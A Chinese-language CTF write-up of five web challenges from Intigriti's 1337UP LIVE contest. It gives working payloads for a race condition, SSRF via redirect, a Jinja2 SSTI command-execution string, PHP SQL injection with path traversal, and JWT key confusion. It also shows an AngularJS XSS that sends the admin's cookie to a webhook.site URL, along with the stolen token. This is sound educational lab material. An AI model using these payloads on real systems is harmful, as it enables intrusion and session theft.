1337UP LIVE CTF Writeups
yet another CTF writeups ;)
Intro
由於常參加Intigriti每個月的XSS challenge,所以從XSS challenge學到不少。於是這次也報著同樣的期待參加了由Intigriti舉辦的CTF。
這次我總共解了5題web和4題pwn,以下紀錄比賽時我的解法與學到的東西。
Quiz (web)
Overview
這題沒有source code,但由於網站功能很少,所以很容易看出重點。
首先可以看到這個網站有幾個類似選擇題的東西,選對了可以拿到10分,一個connect.sid只有3次機會,但get flag的條件是100分。
而送出答案的request長這樣:
POST /submitAnswer HTTP/2
Host: quiz.ctf.intigriti.io
Cookie: INGRESSCOOKIE=1647029701.734.3451.583039|df18c7a37b01201195c3bf2ff6aa23c8; connect.sid=s%3AQ3O_vl_xMPCzfMiMtlMwU_KFjlGPH0sd.eYmuztHaRJDfwnmNSgEIpzCAQstEFal%2B8o%2BD3Zfh0ZY
Content-Length: 39
Sec-Ch-Ua: " Not;A Brand";v="99", "Microsoft Edge";v="97", "Chromium";v="97"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.76
Sec-Ch-Ua-Platform: "macOS"
Content-Type: application/json
Accept: */*
Origin: https://quiz.ctf.intigriti.io
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://quiz.ctf.intigriti.io/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
{"questionNumber":1,"answer":"monthly"}
然後response有3種: 答對+10分、答錯、已經回答過了。
Solution
直接利用Burp Suite的Intruder功能,把剛剛的request放進去,設定傳送200個request,並將Resource Pool的Maximum concurrent requests設定20,按下Start Attack
之後,就可以發現有20個request同時拿到了+10分的response,確認一下分數:
HTTP/2 200 OK
Date: Sun, 13 Mar 2022 02:13:31 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 55
X-Powered-By: Express
Access-Control-Allow-Origin: *
Etag: W/"37-HFNBVD+RoSfccbmNeWUg3v2eG2Y"
{"id":265,"points":200,"q1":true,"q2":false,"q3":false}
可以發現我們雖然只答對1題,但分數已經來到200分了!
所以就get flag了: 1337UP{this_is_a_secret_flag}
Dead Tube (web)
Overview
這題總共有兩個功能: preview和flag
Preview:
app.post("/preview", async (req, res) => {
const { link } = req.body;
if(!link || typeof link !== "string") {
return res.send("Missing link");
}
let url;
try {
url = new URL(link);
}
catch(err) {
return res.send("Invalid url");
}
if(!["http:", "https:"].includes(url.protocol)) {
return res.send("Invalid url");
}
let dnsLookup;
try {
dnsLookup = await dnsp.lookup(url.hostname, 4);
}
catch(err) {
return res.send("Could not resolve url");
}
console.log(dnsLookup);
let { address } = dnsLookup;
if(isIpPrivate(address)) {
return res.send("You are not allowed to view this url");
}
try {
let fetchReq = await fetch(link);
fetchReq.body.pipe(res);
}
catch(err) {
res.send("There was an error previewing your url");
}
});
flag:
app.get("/flag", (req, res) => {
console.log(req.socket.remoteAddress);
if(req.socket.remoteAddress === "::ffff:127.0.0.1") {
return res.send(process.env.FLAG || "flag{test_flag}");
}
res.send("No flag for you!");
});
可以看到preview的功能是: dnslookup確認不是private ip之後,就會fetch你給的url,再回傳fetch的result
而flag功能是: 如果remoteAddress是local的話,就回傳flag
Solution
水題,由於他確認的方式是用dnslookup,只要簡單的用redirect就能繞過了,於是用flask寫個簡易的redirect功能再傳給preview:
POST /preview HTTP/2
Host: deadtube.ctf.intigriti.io
Cookie: INGRESSCOOKIE=1647026322.808.3204.277190|13f1eb5feb6802f249588f40c454cb40
Content-Length: 91
Pragma: no-cache
Cache-Control: no-cache
Sec-Ch-Ua: " Not;A Brand";v="99", "Microsoft Edge";v="97", "Chromium";v="97"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36 Edg/97.0.1072.76
Origin: https://deadtube.ctf.intigriti.io
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://deadtube.ctf.intigriti.io/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
X-Forwarded-For: 127.0.0.1
link=http%3a%2f%2f5e38-111-248-74-24.ngrok.io%2f%3fu%3dhttp%3a%2f%2f127.0.0.1%3a8080%2fflag
response:
HTTP/2 200 OK
Date: Fri, 11 Mar 2022 20:08:04 GMT
X-Powered-By: Express
1337UP{SSRF_AINT_GOT_NOTHING_ON_M3}
flag: 1337UP{SSRF_AINT_GOT_NOTHING_ON_M3}
1 truth, 2 lies (web)
Overview
這題的source code很無聊,故意把route弄的很醜,這裡提供整理過後,關鍵部分的source code:
from flask import Flask, request, render_template_string, render_template
app = Flask(__name__)
###################
# trash
###################
@app.route("long_trash")
def WH4TSG01NG0N():
BRRRRR_RUNNING = request.args.get("input", None)
if BRRRRR_RUNNING is None:
return "BRRRRR_RUNNING"
else:
for _ in BRRRRR_RUNNING:
if any(x in BRRRRR_RUNNING for x in {'.', '_', '|join', '[', ']', 'mro', 'base'}):
return "caught"
else:
return render_template_string("Your input: " + BRRRRR_RUNNING)
###################
# trash
###################
if __name__ == "__main__":
app.run(host='0.0.0.0', port=5555, debug=True)
Solution
老梗的SSTI,black list用|attr
和escape string就能繞過了:
payload:
{{g|attr('pop')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('sys')|attr('modules')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('cat f*')|attr('read')()}}
response:
HTTP/2 200 OK
Date: Fri, 11 Mar 2022 16:50:11 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 67
Your input: flag{1ea5n_h0w_vu1n_h1ppen_and_wh1t_l1ne_m1ke_vu1n!!!}
PHorrifyingP (web)
Overview
source code (flag redacted):
<?php
/*
<flag> ➡➡➡ ⛳🏁 ⬅⬅⬅ <flag>
*/
if ($_SERVER['REQUEST_METHOD'] == 'POST'){
extract($_POST);
if (isset($_POST['password']) && md5($_POST['password']) == 'put hash here!'){
$loggedin = true;
}
if (md5($_SERVER['REMOTE_ADDR']) != '92d3fd4057d07f38474331ab231e1f0d'){
header('Location: ' . $_SERVER['REQUEST_URI']);
}
if (isset($loggedin) && $loggedin){
echo 'One step closer 😎<br>';
if (isset($_GET['action']) && md5($_GET['action']) == $_GET['action']){
echo 'Really? 😅<br>';
$db = new SQLite3('database.db');
$sql_where = Array('1=0');
foreach ($_POST as $key => $data) {
$sql_where[] = $db->escapeString($key) . "='" . $db->escapeString($data) . "'";
}
$result = $db->querySingle('SELECT login FROM users WHERE ' . implode(' AND ', $sql_where));
if ($result == 'admin'){
echo 'Last step 🤣<br>';
readfile(file_get_contents('php://input'));
}
}
}
}
?>
<html lang="en">
<head>
<title>PHorrifyingP</title>
<style>
body {
background-color: #000;
}
h1 {
font-size: 8vw;
font-family: 'Nosifer', cursive;
padding: 2rem;
color: #900d0d;
text-shadow: 0 0 5px #fff, 0 0 10px #fff, 0 0 15px #d92027, 0 0 20px #d92027, 0 0 25px #d92027, 0 0 30px #d92027, 0 0 55px #d92027;
animation: glow 1s ease-in-out infinite alternate;
text-align: center;
}
@keyframes glow {
from {
text-shadow: 0 0 5px #fff, 0 0 10px #fff, 0 0 15px #d92027, 0 0 20px #d92027, 0 0 25px #d92027, 0 0 30px #d92027, 0 0 55px #d92027;
}
to {
text-shadow: 0 0 10px #fff, 0 0 20px #fff, 0 0 40px #d92027, 0 0 40px #d92027, 0 0 50px #d92027, 0 0 70px #d92027, 0 0 90px #d92027;
}
}
p {
max-width: 50%;
margin: auto;
}
</style>
</head>
<body>
<link href="https://fonts.googleapis.com/css2?family=Nosifer&display=swap" rel="stylesheet">
<h1>PHorrifyingP</h1>
<p>
<?php
$source = highlight_file(__FILE__, true);
$source = explode('<flag>', $source);
$source[1] = ' ➡➡➡ ⛳🏁 ⬅⬅⬅ ';
$source = implode('<flag>', $source);
echo $source;
?>
</p>
</body>
</html>
Solution
第1關是要isset($loggedin) && $loggedin
,這時可以看到:
if (isset($_POST['password']) && md5($_POST['password']) == 'put hash here!'){
$loggedin = true;
}
但md5($_POST['password']
是不可能和'put hash here!'
相等的,這時可以注意到:extract($_POST);
,這段code會把$_POST
中的key作為變數名稱,並用key所對應value進行賦值,所以只要post的時候加入一個loggedin=1
,就能順利通過檢查了
第2關是isset($_GET['action']) && md5($_GET['action']) == $_GET['action']
這個部分老梗了,直接google magic hash就能輕鬆找到一堆0e
開頭而且md5之後還是0e
的字,只要透過弱比較繞過就可以了。於是:
POST /?action=0e215962017 HTTP/2
就能順利通過第2關了
第3關是$result == 'admin'
,而result要怎麼樣才會是admin呢?
可以看到$_POST
的每個key和value都會通過escapeString
處理之後放進SQL語句:
$db = new SQLite3('database.db');
$sql_where = Array('1=0');
foreach ($_POST as $key => $data) {
$sql_where[] = $db->escapeString($key) . "='" . $db->escapeString($data) . "'";
}
$result = $db->querySingle('SELECT login FROM users WHERE ' . implode(' AND ', $sql_where));
但實際上escapeString
的功能弱到不行,只會對空格還有單引號做處理,所以若post的內容長這樣: "&loggedin=1&"or(1)order/**/by/**/1--
,SQL的語句會長這樣:
SELECT login FROM users WHERE 1=0 AND "='' AND loggedin='1' AND "or(1)order/**/by/**/1--=''
可以發現雙引號之間的東西會全部被包起來,--
之後的東西會被丟掉,所以雙引號和--
之間我們就能很輕鬆的塞SQL的語句
又因為order by 1
的時候資料庫裡有admin
這個東西,所以第一筆資料剛好就是a開頭的admin,於是不需要union select
這一關就可以通過了。
最後一關是readfile(file_get_contents('php://input'));
,由於傳入readfile
的路徑都會normalize
,我們只需要在--
後放上一堆../
就可以在不影響SQLi運作的情況下構造合法的路徑了。
完整的request:
POST /?action=0e215962017 HTTP/2
Host: phorrifyingp.ctf.intigriti.io
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
"&loggedin=1&"or(1)order/**/by/**/1--/../../../../../../../../../../../var/www/html/index.php
response:
HTTP/2 302 Found
Date: Sun, 13 Mar 2022 03:15:44 GMT
Content-Type: text/html; charset=UTF-8
Set-Cookie: INGRESSCOOKIE=1647141345.47.13470.172637|8392188e806a29b08800709df834e21e; Path=/; Secure; HttpOnly
X-Powered-By: PHP/7.1.8
Location: /?action=0e215962017
One step closer 😎<br>Really? 😅<br>Last step 🤣<br><?php
/*
<flag>
You made it 🤗
-> 1337UP{PHP_SCARES_ME_IT_HAUNTS_ME_WHEN_I_SLEEP_ALL_I_CAN_SEE_IS_PHP_PLEASE_SOMEONE_HELP_ME} <-
<flag>
...
...
trash
...
...
flag: 1337UP{PHP_SCARES_ME_IT_HAUNTS_ME_WHEN_I_SLEEP_ALL_I_CAN_SEE_IS_PHP_PLEASE_SOMEONE_HELP_ME}
Contact Alex (web)
這題是這次web最好玩的一題,不guessy,且讓我學到不少
(不愧是來自UCB的Dicegang成員:Strellic出的題目!)
Overview
server的source code:
const express = require("express");
const jwt = require("jwt-simple");
const crypto = require("crypto");
const app = express();
// Alex only likes Chrome. All FireFox users should get out of here!
const PORT = process.env.PORT || 8080;
const { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', { modulusLength: 4096 });
const pub = publicKey.export({ type: "pkcs1", format: "pem" });
const priv = privateKey.export({ type: "pkcs1", format: "pem" });
const bot = require("./bot.js");
app.set("view engine", "hbs");
app.use(express.static("public"));
app.use(express.urlencoded({ extended: false }));
app.use(require("cookie-parser")());
app.use((req, res, next) => {
if(!req.cookies.auth) {
let username = crypto.randomBytes(8).toString("hex");
let cookie = jwt.encode({ username }, priv, "RS256");
req.cookies.auth = cookie;
res.cookie("auth", cookie);
}
try {
let auth = jwt.decode(req.cookies.auth, pub);
res.locals.username = auth.username;
}
catch(err) {
res.clearCookie("auth");
return res.redirect("/?message=Invalid token");
}
let nonce = crypto.randomBytes(16).toString("hex");
res.setHeader("Content-Security-Policy", `
default-src 'self';
img-src 'self' data:;
style-src 'nonce-${nonce}';
font-src https://fonts.googleapis.com/ https://fonts.gstatic.com/;
object-src 'none';
base-uri 'none';
script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/;
`.trim().replace(/\s+/g, " "));
res.locals.nonce = nonce;
next();
});
const isUser = (user) => (req, res, next) => res.locals.username === user ? next() : res.redirect("/");
app.get("/home", isUser("Alex"), (req, res) => {
res.render("home");
});
app.post("/home", isUser("Alex"), (req, res) => {
let { message } = req.body;
if(!message || typeof message !== "string") {
return res.redirect("/home?message=Missing message");
}
// no XSS
message = message.replace(/"/g, """);
message = message.replace(/</g, "<");
message = message.replace(/>/g, ">");
// convert images and links
message = message.replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`);
message = message.replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`);
return res.render("home", { message });
});
app.post("/report", isUser("Alex"), (req, res) => {
let { message } = req.body;
if(!message || typeof message !== "string") {
return res.redirect("/home?message=Missing message");
}
bot.visit(message, jwt.encode({ username: "Alex" }, priv, "RS256"));
return res.redirect("/home?message=The admin will look at your message now");
});
app.get("/", (req, res) => {
if(res.locals.username === "Alex") {
return res.redirect("/home");
}
res.render("login");
});
app.listen(PORT, () => console.log(`listening on port ${PORT}`));
admin bot:
const puppeteer = require("puppeteer");
const SITE = process.env.SITE || "http://localhost:8080";
const visit = async (message, jwt) => {
let browser;
try {
browser = await puppeteer.launch({
headless: true,
pipe: true,
args: [
"--no-sandbox",
"--disable-setuid-sandbox",
"--js-flags=--noexpose_wasm,--jitless",
],
dumpio: true
});
let page = await browser.newPage();
await page.setCookie({
name: 'auth',
value: jwt,
domain: new URL(SITE).host
});
await page.setCookie({
name: 'flag',
value: process.env.FLAG || "flag{test_flag}",
domain: new URL(SITE).host
});
await page.goto(SITE + "/home", { waitUntil: 'networkidle2' });
await page.evaluate((message) => {
document.querySelector("textarea").value = message;
document.querySelector("#submit-btn").click();
}, message);
await page.waitForTimeout(6000);
await browser.close();
browser = null;
} catch (err) {
console.log(err);
} finally {
if (browser) await browser.close();
}
};
module.exports = { visit };
首先可以看到server使用jwt來做auth的驗證,且使用RS256
作為產生jwt的alg
在驗證jwt的username為”Alex”之後,才可以使用/home
和/report
的功能
Solution
第一關是要偽造一個username為Alex的jwt,但要怎麼偽造呢?
可以發現server在decode jwt時使用的是:
let auth = jwt.decode(req.cookies.auth, pub);
res.locals.username = auth.username;
由於jwt.decode
時沒有指定alg
,所以若req.cookies.auth
的alg用的是HS256
的話,預設會將pub
做為HS256
的key來decode!
但這有什麼幫助呢?
根據RSA的特性,我們是有可能從兩個不同,但使用相同private key的RS256 jwt推出public key的!
也就是說,我們可以通過使用HS256和我們反推出來的public key進行encode來偽造任意jwt!
反推public key的部分,已經有人寫出了工具,我們可以直接使用這個來反推public key
$ python3 jwt_forgery.py eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IjgxYmJhMmI3NWQ0YTU1ZmIifQ.R0xuBKP_o3uuWKS2OG8nmWrOUm6x2F6ySVNJrbdMUel95ppiEA4y6E5IBSyBacOoeaNtZ37cAULHHqbXkwDu5PGRxIV3JLjsr7IqjcyY9Y0_K_p5SKN_Gxcieyc2YvsIZXverVB1XHjaBMv4DQqJ2ZCt38rf2Y1AdJxS_KSMGUnE9WHOfMledJr542nWVJS7oZhdmUgiccWr0fxKUpl7OuFoMf5c1P2IiT3w-Sv7o5fOobVbLYtq0GQ0HkcYruzMfLY0WVD-vaIpzpg77clfwqbR4PdBkiGz9m0x1ipburOLT-J1016ewXSxMyOT5jFaJYV9PmolifwP4fMmDN5IOJrdU_PVexskClibZnnzBx2HUXngy6Osa5MMGISLQxRaVa0rWyRANGsSorFHT2zYrUJkjPa9Bxh4FRqR_gJYrq3VNhLaZ6I54OwTxn6y8etfzYrWzQtMv-G8x7D16vRkNzNniKiOFMALiY14qd4X2VQq7_c3gVyK-hFujpoa7dBpt3vaWTHEFw5Oip-ySM_ycOTOvsNQQkGyWHw1rqhqv8oVrrUdAsG9u_d_HaYD9HcwAs7P5sBPth9Qhdqa0eu8HhRBxzDfVAppBt3-cOtUSZ4az3fb7DW2wcrapQ2IIB4s0anjaodIAdxsl8Hv281VIMBneN0fTn0RuWv5Q9yPO4c eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6Ijg4YzZiNDE0M2RiZWJkMjAifQ.cOC2emZnj8y_DO6auzkOVm2zFJoHtkppWM_5VDiPZX2npa9FKd12KwVh7b264L1fSjHiASux9t9kJ9uORqUH7t7AWaCjTzvXQuAKQmuZmapBdmtrnMBo6Kq152L5__8uMlt9JmrUAcDklB7t1XI3r8kxiE2z3wsaqTRglwDzrSHslx7HA6af0VDsODO1wBedNB6POv2jXMmMW6kDfvf6CAe-tVGrYqqir11Qbjnld1B32ncuBZ_3xpS5VimX12VYvMsIZOgFhe2RddKybx_PzUUzBfX2NfnPUu-VtsvxncjXzj7CDk_1TrTlzuzfR2rzGXpNxdoHsuXVLIRiGrkLoMwYzzaIA5lVVYMVm8doVS5h9hb6B_zK7VSGs7wH80MFFKDx_Ur23S03KPkdJEjs4gmQsPdkoFzlZ5j9CAdsRLIx00jwXNIbhtpCKIe9B4TTHu5Zu4WZ7bBKD6XfwrqO-wkGNxaOWCX-H4U5IpvuDkKb86DltfYpeuMEzY22GSYuyRJugcE8SlWgaABLC98vDgkGrqdzlwivPe0iTPHTaiaXLHCn_TxRx7R099HlPnwxnPLi9-9f-Y60PKF8EfyAzKPORMhCeNUjCDU5GpZCqhdhnzZDvpZtLzP9dC6ZtKR1x8Cu4dpOGDA3LIwir4z8Lqf9JgEUyQWOCSYYTMZdd6c
[*] GCD: 0x1
[*] GCD: 0xf054f49a9c43b8efe0d9ef70f2f6a9ec346e25c354c062513ed660c410551707de9e8d6b022f956b575a8c03c64bbc0122c25cf500fade111eabc2efedf92cc4dedd035a5a78b07cd2624df9ed7fce0a98c706410eb30eb72415269f65216b8c06296ffa72c6e69f3c57f48122bdc50e9e272a085db146896f9141a200cad6dee2201a248374a523d6549ec703bb268a36fdeb414719d3dce2642b3966c2bb48ac5bc3c9dd56fd47dc56de1907b0bc234faae71f32f97c62bec79c7b26a06d5d4fc1276030b07f8651e8cc0b4930340c0fb21a9100d8741ec43b5eb1dd5b537d8d72f6825f8a7cd126454d0644de0e9f18957c9a6e2d1f6291065cf3daabb6e8e86a9a39e1cd1bfa84dc0d8ce61d9d56033e44b2992e9891f105228c92dd9d92833eff046094f230db29699fbf5ef517dcca9c11314d6437d682807bd0115d597dce803d518e3e3fb0005a005b739436bf9fde1fd9926090cc5360a60ce19dbdd910a88a13976104762b9868ec2d3775ff7ad7a8b3ef54b43476ecbc614278a46f9ba04f7a6dd846380533a227a59ceed1da7cfcc2dfe5501f7ea5ee3330b8cb0e7fa821c8007fd8eb90ef240c39466e42194580e054a8a390daa6b529b0a3ce82ba9419b431230e708a5f3182300a728cca50966c8ad37f76b7ed942c79c64d935bb16c512479b699641bb3a9479afd86c0b26e0376e3fed1d6c5e02c99d9ef
[+] Found n with multiplier 1 :
0xf054f49a9c43b8efe0d9ef70f2f6a9ec346e25c354c062513ed660c410551707de9e8d6b022f956b575a8c03c64bbc0122c25cf500fade111eabc2efedf92cc4dedd035a5a78b07cd2624df9ed7fce0a98c706410eb30eb72415269f65216b8c06296ffa72c6e69f3c57f48122bdc50e9e272a085db146896f9141a200cad6dee2201a248374a523d6549ec703bb268a36fdeb414719d3dce2642b3966c2bb48ac5bc3c9dd56fd47dc56de1907b0bc234faae71f32f97c62bec79c7b26a06d5d4fc1276030b07f8651e8cc0b4930340c0fb21a9100d8741ec43b5eb1dd5b537d8d72f6825f8a7cd126454d0644de0e9f18957c9a6e2d1f6291065cf3daabb6e8e86a9a39e1cd1bfa84dc0d8ce61d9d56033e44b2992e9891f105228c92dd9d92833eff046094f230db29699fbf5ef517dcca9c11314d6437d682807bd0115d597dce803d518e3e3fb0005a005b739436bf9fde1fd9926090cc5360a60ce19dbdd910a88a13976104762b9868ec2d3775ff7ad7a8b3ef54b43476ecbc614278a46f9ba04f7a6dd846380533a227a59ceed1da7cfcc2dfe5501f7ea5ee3330b8cb0e7fa821c8007fd8eb90ef240c39466e42194580e054a8a390daa6b529b0a3ce82ba9419b431230e708a5f3182300a728cca50966c8ad37f76b7ed942c79c64d935bb16c512479b699641bb3a9479afd86c0b26e0376e3fed1d6c5e02c99d9ef
[+] Written to f054f49a9c43b8ef_65537_x509.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICI4MWJiYTJiNzVkNGE1NWZiIiwgImV4cCI6IDE2NDcxNDk1ODJ9.H3tU0apxX9hOfqvCwL06Y2O2kserQFflVkpCJeVI5tg'
[+] Written to f054f49a9c43b8ef_65537_pkcs1.pem
[+] Tampered JWT: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICI4MWJiYTJiNzVkNGE1NWZiIiwgImV4cCI6IDE2NDcxNDk1ODJ9.4fyBL1da5J54fj7pP4dieoLu_tIsl4BH7vshHGMGX9s'
================================================================================
Here are your JWT's once again for your copypasting pleasure
================================================================================
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICI4MWJiYTJiNzVkNGE1NWZiIiwgImV4cCI6IDE2NDcxNDk1ODJ9.H3tU0apxX9hOfqvCwL06Y2O2kserQFflVkpCJeVI5tg
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICI4MWJiYTJiNzVkNGE1NWZiIiwgImV4cCI6IDE2NDcxNDk1ODJ9.4fyBL1da5J54fj7pP4dieoLu_tIsl4BH7vshHGMGX9s
這時再搭配上另一個jwt的工具重新簽一個username為Alex的jwt:
$ python /tmp/jwt_tool/jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFsZXgiLCJleHAiOjE2NDcxNDk1ODJ9. -T -X k -pk f054f49a9c43b8ef_65537_pkcs1.pem
\ \ \ \ \ \
\__ | | \ |\__ __| \__ __| |
| | \ | | | \ \ |
| \ | | | __ \ __ \ |
\ | _ | | | | | | | |
| | / \ | | | | | | | |
\ | / \ | | |\ |\ | |
\______/ \__/ \__| \__| \__| \______/ \______/ \__|
Version 2.2.5 \______| @ticarpi
Original JWT:
====================================================================
This option allows you to tamper with the header, contents and
signature of the JWT.
====================================================================
Token header values:
[1] typ = "JWT"
[2] alg = "HS256"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
Token payload values:
[1] username = "Alex"
[2] exp = 1647149582 ==> TIMESTAMP = 2022-03-13 13:33:02 (UTC)
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[5] *UPDATE TIMESTAMPS*
[0] Continue to next step
Please select a field number:
(or 0 to Continue)
> 0
File loaded: f054f49a9c43b8ef_65537_pkcs1.pem
jwttool_a2902fd47f1c0f7d5d24747b3b100b1f - EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)
(This will only be valid on unpatched implementations of JWT.)
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFsZXgiLCJleHAiOjE2NDcxNDk1ODJ9.ODc40kVbR6LacfjJNGrarO1809ZsYB5uRLCAAqbzNf0
這時我們將這組jwt:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IkFsZXgiLCJleHAiOjE2NDcxNDk1ODJ9.ODc40kVbR6LacfjJNGrarO1809ZsYB5uRLCAAqbzNf0
作為cookie的auth,就能發現我們順利通過auth的驗證了!
接下來是XSS的部分,首先先看到過濾的方式:
// no XSS
message = message.replace(/"/g, """);
message = message.replace(/</g, "<");
message = message.replace(/>/g, ">");
// convert images and links
message = message.replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`);
message = message.replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`);
可以看到<">
都會被過濾掉,但是在過濾之後它又做了兩件事:先是將帶有.(png|jpg|gif)
的url放進iframe,再把沒有.(png|jpg|gif)
的url放進a
但這會產生一個問題:有沒有可能同一個url重複被replace呢? 答案是有的
"http://.pnghttp://AAAA".replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`).replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`)
可以看到上面這段javascript的結果是:
<iframe src="http://.png<a href="http://AAAA"></iframe>">http://AAAA"></iframe></a>
可以發現http://AAAA"
跳脫出了雙引號!
且因為//
的效果等價空格,所以AAAA
的部分可以作為iframe的其中一個attribute!
於是當我們使用srcdoc:
document.write("http://.pnghttp://srcdoc=aaaaaa".replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`).replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`))
可以看到上面的javascript執行完後,aaaaa
成功的被放進srcdoc了!
若是要將<tag>aaaa</tag>
放進srcdoc,只需要將<tag>aaaa</tag>
用HTML encode就可以了!
e.g.
document.write("http://.pnghttp://srcdoc=<h1>aaaaaa</h1>".replace(/(https?:\/\/[^\s]*\.(png|jpg|gif)[^\s]*)/g, `<iframe src="$1"></iframe>`).replace(/(https?:\/\/(?![^\s]*(?:jpg|png|gif))[^\s]+)/g, `<a href="$1">$1</a>`))
接下來,我們就剩最後一個步驟,那就是繞過CSP。
這題的CSP為:
Content-Security-Policy: default-src 'self'; img-src 'self' data:; style-src 'nonce-01003dcc855cc89dcb46c75ac110c2b8'; font-src https://fonts.googleapis.com/ https://fonts.gstatic.com/; object-src 'none'; base-uri 'none'; script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/;
可以注意到,script-src
規定只有'self'
和來自
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/
的script可以被執行
那要怎麼繞過這個看似嚴格的CSP呢?
可以發現cdnjs.cloudflare.com
的server在處理url得時候,會將路徑中的%2f
nomarlize成/
,也就是說:
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/..%2f../angular.js/1.4.5/angular.min.js
實際上會指向:
https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.5/angular.min.js
所以只要使用
https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/..%2f../angular.js/1.4.5/angular.min.js
,就能繞過CSP,引用angular.js
!
這時,我們只需利用angular.js
的script gadget,就能XSS了!
以下我使用在PortSwigger上看到的angular.js
的payload來達成:
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/..%2f../angular.js/1.4.5/angular.min.js"></script>
<body ng-app ng-csp>
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([top.location=\'https://webhook.site/25b55e24-84ed-4130-8cb0-203a29e65680/?f=\'+document.cookie], alert)'">
</body>
完整payload:
http://.pnghttp://srcdoc=<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.6.0/..%2f../angular.js/1.4.5/angular.min.js"></script>
<body ng-app ng-csp>
    <input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([top.location=\'https://webhook.site/25b55e24-84ed-4130-8cb0-203a29e65680/?f=\'+document.cookie], alert)'">
</body>
report給admin後收到的cookie:
auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IkFsZXgifQ.IO9Hg0MvLDQ4y4t6lFRGhrmL_WebBYJZKxCr044Pfympn3F_j6RYqXyCcYnOSN1AMPOgCdLdehOtTtxeO8BTCmnAzvJQUHssjHSIGCZCLZGVD-gu7ShCaAtzBhHv-ogHLtAmgM_GdPTKAJuSnsmLmBRqLht4dd3Pz_mUoy6PA9x1DHp5e7sOraebIwS2TLxGHvax_kiZ0aqfmc04i3ZsCaKcjifQ6HhmabhJL94TTkPyf2aKJeiIEoPx4GKwSwzUAv8i8-4yWNS1J5VC4v6tuJePzpydSN0geFKEGVBzJWTikb0HOx6knyBeYRWf3G8KwPuK5-aR_gsDL9cm7fXpa_6bUdBD6zicmjl4zLyXx8AI-w6MKDRslnRqGg3jyJIiAWssepI69StqVfdiDXL7HuD6C59UeRXNRyVwZ1SaDtdnqUxDfPlcjmkUE8b72yNUeFwtc_7VFWlme4JZcbwMY6-929cVGBLfYEvnk1cbrbYuPmNHlKMpm4E71ZawYnyzFL8FnFuRxVQC3AHMu1a8QVl9l4fpKsIr2Xd5v8XUtTN1qOCmaNpPV8FW_jsiZyfuY_eUoqYD49z4fDKB09MYhCZDWjNsFmgEs62jF1bGun8TdbFhH7P2kImNPOdGpPH0aqAaX08WTcCIktbvkuFI8Qwa0tcwNPDznesA